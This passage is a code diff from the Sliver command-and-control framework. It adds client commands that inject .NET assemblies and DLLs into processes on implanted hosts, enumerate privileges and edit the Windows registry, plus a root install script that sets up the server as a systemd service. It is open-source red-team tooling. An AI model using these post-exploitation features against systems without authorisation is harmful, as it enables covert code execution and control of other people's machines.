isDLL := false
|
||||
if filepath.Ext(binPath) == ".dll" {
|
||||
isDLL = true
|
||||
}
|
||||
binData, err := ioutil.ReadFile(binPath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
var outFilePath *os.File
|
||||
if ctx.Flags.Bool("save") {
|
||||
outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname()))
|
||||
outFilePath, err = ioutil.TempFile("", outFile)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
if c.IsAssembly {
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
executeAssemblyResp, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
IsDLL: isDLL,
|
||||
Process: processName,
|
||||
Arguments: extArgs,
|
||||
Assembly: binData,
|
||||
Arch: ctx.Flags.String("arch"),
|
||||
Method: ctx.Flags.String("method"),
|
||||
ClassName: ctx.Flags.String("class"),
|
||||
AppDomain: ctx.Flags.String("app-domain"),
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Output:\n%s", string(executeAssemblyResp.GetOutput()))
|
||||
if outFilePath != nil {
|
||||
outFilePath.Write(executeAssemblyResp.GetOutput())
|
||||
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
|
||||
}
|
||||
} else if c.IsReflective {
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
spawnDllResp, err := con.Rpc.SpawnDll(context.Background(), &sliverpb.InvokeSpawnDllReq{
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
Args: strings.Trim(extArgs, " "),
|
||||
Data: binData,
|
||||
ProcessName: processName,
|
||||
EntryPoint: c.Entrypoint,
|
||||
Kill: true,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
con.PrintInfof("Output:\n%s", spawnDllResp.GetResult())
|
||||
if outFilePath != nil {
|
||||
outFilePath.Write([]byte(spawnDllResp.GetResult()))
|
||||
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
|
||||
}
|
||||
} else {
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
sideloadResp, err := con.Rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
Args: extArgs,
|
||||
Data: binData,
|
||||
EntryPoint: entryPoint,
|
||||
ProcessName: processName,
|
||||
Kill: true,
|
||||
IsDLL: isDLL,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
con.PrintInfof("Output:\n%s", sideloadResp.GetResult())
|
||||
if outFilePath != nil {
|
||||
outFilePath.Write([]byte(sideloadResp.GetResult()))
|
||||
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func cmdExists(name string, app *grumble.App) bool {
|
||||
for _, c := range app.Commands().All() {
|
||||
if name == c.Name {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func init() {
|
||||
commandMap = make(map[string]macro)
|
||||
}
|
||||
@@ -0,0 +1,109 @@
|
||||
package privilege
|
||||
|
||||
import (
|
||||
"context"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
func GetPrivsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
var processName string = "Current Process"
|
||||
|
||||
session := con.ActiveSession.GetInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
|
||||
if session.OS != "windows" {
|
||||
con.PrintErrorf("Command not supported on this operating system.")
|
||||
return
|
||||
}
|
||||
|
||||
privs, err := con.Rpc.GetPrivs(context.Background(), &sliverpb.GetPrivsReq{
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
// Response is the Envelope (see RPC API), Err is part of it.
|
||||
if privs.Response != nil && privs.Response.Err != "" {
|
||||
con.PrintErrorf("NOTE: Information may be incomplete due to an error:\n")
|
||||
con.PrintErrorf("%s\n", privs.Response.Err)
|
||||
}
|
||||
|
||||
if privs.PrivInfo == nil {
|
||||
return
|
||||
}
|
||||
|
||||
if privs.ProcessName != "" {
|
||||
processName = privs.ProcessName
|
||||
}
|
||||
|
||||
// To make things look pretty, figure out the longest name and description
|
||||
// for column width
|
||||
var nameColumnWidth int = 0
|
||||
var descriptionColumnWidth int = 0
|
||||
var introWidth int = 34 + len(processName) + len(strconv.Itoa(int(session.PID)))
|
||||
|
||||
for _, entry := range privs.PrivInfo {
|
||||
if len(entry.Name) > nameColumnWidth {
|
||||
nameColumnWidth = len(entry.Name)
|
||||
}
|
||||
if len(entry.Description) > descriptionColumnWidth {
|
||||
descriptionColumnWidth = len(entry.Description)
|
||||
}
|
||||
}
|
||||
|
||||
// Give one more space
|
||||
nameColumnWidth += 1
|
||||
descriptionColumnWidth += 1
|
||||
|
||||
con.Printf("Privilege Information for %s (PID: %d)\n", processName, session.PID)
|
||||
con.Println(strings.Repeat("-", introWidth))
|
||||
con.Printf("\nProcess Integrity Level: %s\n\n", privs.ProcessIntegrity)
|
||||
con.Printf("%-*s\t%-*s\t%s\n", nameColumnWidth, "Name", descriptionColumnWidth, "Description", "Attributes")
|
||||
con.Printf("%-*s\t%-*s\t%s\n", nameColumnWidth, "====", descriptionColumnWidth, "===========", "==========")
|
||||
for _, entry := range privs.PrivInfo {
|
||||
con.Printf("%-*s\t%-*s\t", nameColumnWidth, entry.Name, descriptionColumnWidth, entry.Description)
|
||||
if entry.Enabled {
|
||||
con.Printf("Enabled")
|
||||
} else {
|
||||
con.Printf("Disabled")
|
||||
}
|
||||
if entry.EnabledByDefault {
|
||||
con.Printf(", Enabled by Default")
|
||||
}
|
||||
if entry.Removed {
|
||||
con.Printf(", Removed")
|
||||
}
|
||||
if entry.UsedForAccess {
|
||||
con.Printf(", Used for Access")
|
||||
}
|
||||
con.Printf("\n")
|
||||
}
|
||||
}
|
||||
@@ -49,12 +49,20 @@ func RegCreateKeyCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if strings.Contains(regPath, "/") {
|
||||
regPath = strings.ReplaceAll(regPath, "/", "\\")
|
||||
}
|
||||
slashIndex := strings.LastIndex(regPath, "\\")
|
||||
key := regPath[slashIndex+1:]
|
||||
regPath = regPath[:slashIndex]
|
||||
pathBaseIdx := strings.LastIndex(regPath, `\`)
|
||||
if pathBaseIdx < 0 {
|
||||
con.PrintErrorf("invalid path: %s", regPath)
|
||||
return
|
||||
}
|
||||
if len(regPath) < pathBaseIdx+1 {
|
||||
con.PrintErrorf("invalid path: %s", regPath)
|
||||
return
|
||||
}
|
||||
finalPath := regPath[:pathBaseIdx]
|
||||
key := regPath[pathBaseIdx+1:]
|
||||
createKeyResp, err := con.Rpc.RegistryCreateKey(context.Background(), &sliverpb.RegistryCreateKeyReq{
|
||||
Hive: hive,
|
||||
Path: regPath,
|
||||
Path: finalPath,
|
||||
Key: key,
|
||||
Hostname: hostname,
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
|
||||
@@ -0,0 +1,77 @@
|
||||
package registry
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
func RegListSubKeysCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveSession.GetInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
|
||||
path := ctx.Args.String("registry-path")
|
||||
hive := ctx.Flags.String("hive")
|
||||
hostname := ctx.Flags.String("hostname")
|
||||
|
||||
regList, err := con.Rpc.RegistryListSubKeys(context.Background(), &sliverpb.RegistrySubKeyListReq{
|
||||
Hive: hive,
|
||||
Hostname: hostname,
|
||||
Path: path,
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error: %s\n", err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
if regList.Response != nil && regList.Response.Err != "" {
|
||||
con.PrintErrorf("Error: %s\n", regList.Response.Err)
|
||||
return
|
||||
}
|
||||
if len(regList.Subkeys) > 0 {
|
||||
con.PrintInfof("Sub keys under %s:\\%s:\n", hive, path)
|
||||
}
|
||||
for _, subKey := range regList.Subkeys {
|
||||
con.Println(subKey)
|
||||
}
|
||||
}
|
||||
|
||||
func RegListValuesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveSession.GetInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
|
||||
regPath := ctx.Args.String("registry-path")
|
||||
hive := ctx.Flags.String("hive")
|
||||
hostname := ctx.Flags.String("hostname")
|
||||
|
||||
regList, err := con.Rpc.RegistryListValues(context.Background(), &sliverpb.RegistryListValuesReq{
|
||||
Hive: hive,
|
||||
Hostname: hostname,
|
||||
Path: regPath,
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error: %s\n", err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
if regList.Response != nil && regList.Response.Err != "" {
|
||||
con.PrintErrorf("Error: %s\n", regList.Response.Err)
|
||||
return
|
||||
}
|
||||
if len(regList.ValueNames) > 0 {
|
||||
con.PrintInfof("Values under %s:\\%s:\n", hive, regPath)
|
||||
}
|
||||
for _, val := range regList.ValueNames {
|
||||
con.Println(val)
|
||||
}
|
||||
}
|
||||
@@ -72,6 +72,10 @@ func getType(t string) (uint32, error) {
|
||||
|
||||
// RegReadCmd - Read a windows registry key: registry read --hostname aa.bc.local --hive HKCU "software\google\chrome\blbeacon\version"
|
||||
func RegReadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
var (
|
||||
finalPath string
|
||||
key string
|
||||
)
|
||||
session := con.ActiveSession.GetInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
@@ -93,15 +97,24 @@ func RegReadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("You must provide a path")
|
||||
return
|
||||
}
|
||||
|
||||
if strings.Contains(regPath, "/") {
|
||||
regPath = strings.ReplaceAll(regPath, "/", "\\")
|
||||
}
|
||||
slashIndex := strings.LastIndex(regPath, "\\")
|
||||
key := regPath[slashIndex+1:]
|
||||
regPath = regPath[:slashIndex]
|
||||
pathBaseIdx := strings.LastIndex(regPath, `\`)
|
||||
if pathBaseIdx < 0 {
|
||||
con.PrintErrorf("invalid path: %s", regPath)
|
||||
return
|
||||
}
|
||||
if len(regPath) < pathBaseIdx+1 {
|
||||
con.PrintErrorf("invalid path: %s", regPath)
|
||||
return
|
||||
}
|
||||
finalPath = regPath[:pathBaseIdx]
|
||||
key = regPath[pathBaseIdx+1:]
|
||||
regRead, err := con.Rpc.RegistryRead(context.Background(), &sliverpb.RegistryReadReq{
|
||||
Hive: hive,
|
||||
Path: regPath,
|
||||
Path: finalPath,
|
||||
Key: key,
|
||||
Hostname: hostname,
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
|
||||
@@ -71,9 +71,17 @@ func RegWriteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if strings.Contains(regPath, "/") {
|
||||
regPath = strings.ReplaceAll(regPath, "/", "\\")
|
||||
}
|
||||
slashIndex := strings.LastIndex(regPath, "\\")
|
||||
key := regPath[slashIndex+1:]
|
||||
regPath = regPath[:slashIndex]
|
||||
pathBaseIdx := strings.LastIndex(regPath, `\`)
|
||||
if pathBaseIdx < 0 {
|
||||
con.PrintErrorf("invalid path: %s", regPath)
|
||||
return
|
||||
}
|
||||
if len(regPath) < pathBaseIdx+1 {
|
||||
con.PrintErrorf("invalid path: %s", regPath)
|
||||
return
|
||||
}
|
||||
finalPath := regPath[:pathBaseIdx]
|
||||
key := regPath[pathBaseIdx+1:]
|
||||
switch valType {
|
||||
case sliverpb.RegistryTypeBinary:
|
||||
var (
|
||||
@@ -118,7 +126,7 @@ func RegWriteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
Hostname: hostname,
|
||||
Hive: hive,
|
||||
Path: regPath,
|
||||
Path: finalPath,
|
||||
Type: valType,
|
||||
Key: key,
|
||||
StringValue: stringValue,
|
||||
|
||||
@@ -95,6 +95,8 @@ type BindCmds func(console *SliverConsoleClient)
|
||||
// Start - Console entrypoint
|
||||
func Start(rpc rpcpb.SliverRPCClient, bindCmds BindCmds, extraCmds BindCmds, isServer bool) error {
|
||||
|
||||
assets.Setup(false, false)
|
||||
|
||||
con := &SliverConsoleClient{
|
||||
App: grumble.New(&grumble.Config{
|
||||
Name: "Sliver",
|
||||
@@ -199,7 +201,7 @@ func (con *SliverConsoleClient) EventLoop() {
|
||||
if activeSession != nil && activeSession.ID == session.ID {
|
||||
con.ActiveSession.Set(nil)
|
||||
con.App.SetPrompt(con.GetPrompt())
|
||||
con.Printf(Warn + " Active session disconnected\n")
|
||||
con.Printf(Warn + "Active session disconnected\n")
|
||||
}
|
||||
con.Println()
|
||||
}
|
||||
|
||||
@@ -115,6 +115,7 @@ const (
|
||||
UnsetStr = "unset"
|
||||
SaveStr = "save"
|
||||
ReloadStr = "reload"
|
||||
LoadStr = "load"
|
||||
|
||||
LootStr = "loot"
|
||||
LootLocalStr = "local"
|
||||
@@ -174,7 +175,8 @@ const (
|
||||
MigrateStr = "migrate"
|
||||
SideloadStr = "sideload"
|
||||
SpawnDllStr = "spawndll"
|
||||
LoadExtensionStr = "load-extension"
|
||||
ExtensionStr = "extension"
|
||||
LoadMacroStr = "load-macro"
|
||||
StageListenerStr = "stage-listener"
|
||||
|
||||
WebsitesStr = "websites"
|
||||
@@ -205,7 +207,12 @@ const (
|
||||
|
||||
ReactionStr = "reaction"
|
||||
|
||||
HostsStr = "hosts"
|
||||
IOCStr = "ioc"
|
||||
|
||||
LicensesStr = "licenses"
|
||||
|
||||
GetPrivsStr = "getprivs"
|
||||
)
|
||||
|
||||
// Groups
|
||||
@@ -214,5 +221,6 @@ const (
|
||||
SliverHelpGroup = "Sliver:"
|
||||
SliverWinHelpGroup = "Sliver - Windows:"
|
||||
MultiplayerHelpGroup = "Multiplayer:"
|
||||
MacroHelpGroup = "Sliver - 3rd Party macros:"
|
||||
ExtensionHelpGroup = "Sliver - 3rd Party extensions:"
|
||||
)
|
||||
@@ -103,8 +103,6 @@ func (tun *Tunnel) Read(data []byte) (int, error) {
|
||||
case data := <-tun.Recv:
|
||||
log.Printf("Read %d bytes", len(data))
|
||||
buff.Write(data)
|
||||
default:
|
||||
break
|
||||
}
|
||||
n := copy(data, buff.Bytes())
|
||||
return n, nil
|
||||
|
||||
+120
-24
@@ -1,15 +1,22 @@
|
||||
#!/bin/bash
|
||||
set -e
|
||||
|
||||
SLIVER_GPG_KEY_ID=4449039C
|
||||
|
||||
if [ "$EUID" -ne 0 ]
|
||||
then echo "Please run as root"
|
||||
exit
|
||||
fi
|
||||
|
||||
if [ -n "$(command -v yum)" ]
|
||||
then
|
||||
sudo -S -p '' yum -y install zip unzip curl gcc gcc-c++ make mingw64-gcc
|
||||
yum -y install zip unzip gnupg curl gcc gcc-c++ make mingw64-gcc
|
||||
fi
|
||||
|
||||
if [ -n "$(command -v apt-get)" ]
|
||||
then
|
||||
DEBIAN_FRONTEND=noninteractive sudo -S -p '' apt-get install -yqq \
|
||||
zip unzip curl build-essential \
|
||||
DEBIAN_FRONTEND=noninteractive apt-get install -yqq \
|
||||
zip unzip gpg curl build-essential \
|
||||
mingw-w64 binutils-mingw-w64 g++-mingw-w64
|
||||
fi
|
||||
|
||||
@@ -31,9 +38,69 @@ then
|
||||
echo "zip could not be found"
|
||||
exit 1
|
||||
fi
|
||||
# GPG
|
||||
if ! command -v gpg &> /dev/null
|
||||
then
|
||||
echo "gpg could not be found"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
cd $HOME
|
||||
echo "Running from $HOME"
|
||||
cd /root
|
||||
echo "Running from $(pwd)"
|
||||
|
||||
gpg --import <<EOF
|
||||
-----BEGIN PGP PUBLIC KEY BLOCK-----
|
||||
|
||||
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
|
||||
=lxj2
|
||||
-----END PGP PUBLIC KEY BLOCK-----
|
||||
EOF
|
||||
|
||||
#
|
||||
# Download and Unpack Sliver Server
|
||||
@@ -57,44 +124,73 @@ do
|
||||
fi
|
||||
done
|
||||
|
||||
if test -f "$SLIVER_SERVER_ZIP"; then
|
||||
unzip -o $SLIVER_SERVER_ZIP -d $HOME
|
||||
rm -f $SLIVER_SERVER_ZIP
|
||||
echo "Verifying signatures ..."
|
||||
gpg --default-key $SLIVER_GPG_KEY_ID --verify /root/$SLIVER_SERVER_ZIP.sig /root/$SLIVER_SERVER_ZIP
|
||||
gpg --default-key $SLIVER_GPG_KEY_ID --verify /root/$SLIVER_CLIENT_ZIP.sig /root/$SLIVER_CLIENT_ZIP
|
||||
|
||||
if test -f "/root/$SLIVER_SERVER_ZIP"; then
|
||||
unzip -o /root/$SLIVER_SERVER_ZIP -d /root
|
||||
rm -f /root/$SLIVER_SERVER_ZIP
|
||||
else
|
||||
exit 2
|
||||
fi
|
||||
|
||||
if test -f "$HOME/$SLIVER_SERVER"; then
|
||||
chmod 755 $HOME/$SLIVER_SERVER
|
||||
$HOME/$SLIVER_SERVER unpack --force
|
||||
if test -f "/root/$SLIVER_SERVER"; then
|
||||
chmod 755 /root/$SLIVER_SERVER
|
||||
/root/$SLIVER_SERVER unpack --force
|
||||
else
|
||||
exit 3
|
||||
fi
|
||||
|
||||
if test -f "$SLIVER_CLIENT_ZIP"; then
|
||||
unzip -o $SLIVER_CLIENT_ZIP -d $HOME
|
||||
rm -f $SLIVER_CLIENT_ZIP
|
||||
if test -f "/root/$SLIVER_CLIENT_ZIP"; then
|
||||
unzip -o /root/$SLIVER_CLIENT_ZIP -d /root
|
||||
rm -f /root/$SLIVER_CLIENT_ZIP
|
||||
else
|
||||
exit 2
|
||||
fi
|
||||
|
||||
if test -f "$HOME/$SLIVER_CLIENT"; then
|
||||
chmod 755 $HOME/$SLIVER_CLIENT
|
||||
cp -vv $HOME/$SLIVER_CLIENT /usr/local/bin/sliver
|
||||
if test -f "/root/$SLIVER_CLIENT"; then
|
||||
chmod 755 /root/$SLIVER_CLIENT
|
||||
cp -vv /root/$SLIVER_CLIENT /usr/local/bin/sliver
|
||||
chmod 755 /usr/local/bin/sliver
|
||||
else
|
||||
exit 3
|
||||
fi
|
||||
|
||||
# systemd
|
||||
curl -o ./sliver.service https://sliver.sh/sliver.service
|
||||
cp ./sliver.service /etc/systemd/system/sliver.service
|
||||
echo "Configuring systemd service ..."
|
||||
cat > /etc/systemd/system/sliver.service <<-EOF
|
||||
[Unit]
|
||||
Description=Sliver
|
||||
After=network.target
|
||||
StartLimitIntervalSec=0
|
||||
|
||||
[Service]
|
||||
Type=simple
|
||||
Restart=on-failure
|
||||
RestartSec=3
|
||||
User=root
|
||||
ExecStart=/root/sliver-server daemon
|
||||
|
||||
[Install]
|
||||
WantedBy=multi-user.target
|
||||
EOF
|
||||
chown root:root /etc/systemd/system/sliver.service
|
||||
chmod 600 /etc/systemd/system/sliver.service
|
||||
systemctl start sliver
|
||||
rm -f ./sliver.service
|
||||
|
||||
# generate local configs
|
||||
mkdir -p $HOME/.sliver-client/configs
|
||||
/root/sliver-server operator --name $USER --lhost localhost --save $HOME/.sliver-client/configs
|
||||
chown -R $USER:$USER $HOME/.sliver-client/
|
||||
# Generate local configs
|
||||
echo "Generating operator configs ..."
|
||||
mkdir -p /root/.sliver-client/configs
|
||||
/root/sliver-server operator --name root --lhost localhost --save /root/.sliver-client/configs
|
||||
chown -R root:root /root/.sliver-client/
|
||||
|
||||
USER_DIRS=(/home/*)
|
||||
for USER_DIR in "${USER_DIRS[@]}"; do
|
||||
USER=$(basename $USER_DIR)
|
||||
if id -u $USER >/dev/null 2>&1; then
|
||||
mkdir -p $USER_DIR/.sliver-client/configs
|
||||
/root/sliver-server operator --name $USER --lhost localhost --save $USER_DIR/.sliver-client/configs
|
||||
chown -R $USER:$USER $USER_DIR/.sliver-client/
|
||||
fi
|
||||
done
|
||||
+15
-2
@@ -19,11 +19,13 @@
|
||||
|
||||
# Creates the static go asset archives
|
||||
|
||||
GO_VER="1.16.6"
|
||||
GARBLE_VER="1.16.7"
|
||||
GO_VER="1.17"
|
||||
GARBLE_VER="1.17.0"
|
||||
COFF_LOADER_VER="1.0.5"
|
||||
|
||||
GO_ARCH_1="amd64"
|
||||
GO_ARCH_2="arm64"
|
||||
GO_ARCH_3="386"
|
||||
BLOAT_FILES="AUTHORS CONTRIBUTORS PATENTS VERSION favicon.ico robots.txt CONTRIBUTING.md LICENSE README.md ./doc ./test ./api ./misc"
|
||||
|
||||
if ! [ -x "$(command -v curl)" ]; then
|
||||
@@ -47,6 +49,7 @@ fi
|
||||
|
||||
REPO_DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )"
|
||||
OUTPUT_DIR=$REPO_DIR/server/assets/fs
|
||||
CLIENT_OUTPUT_DIR=$REPO_DIR/client/assets/fs
|
||||
WORK_DIR=`mktemp -d`
|
||||
|
||||
echo "-----------------------------------------------------------------"
|
||||
@@ -130,6 +133,10 @@ cp -vv windows-go.zip $OUTPUT_DIR/windows/$GO_ARCH_1/go.zip
|
||||
rm -rf ./go
|
||||
rm -f windows-go.zip go$GO_VER.windows-$GO_ARCH_1.zip
|
||||
|
||||
# --- Client ---
|
||||
mkdir -p $CLIENT_OUTPUT_DIR/extensions/windows/$GO_ARCH_1
|
||||
mkdir -p $CLIENT_OUTPUT_DIR/extensions/windows/$GO_ARCH_3
|
||||
|
||||
echo "-----------------------------------------------------------------"
|
||||
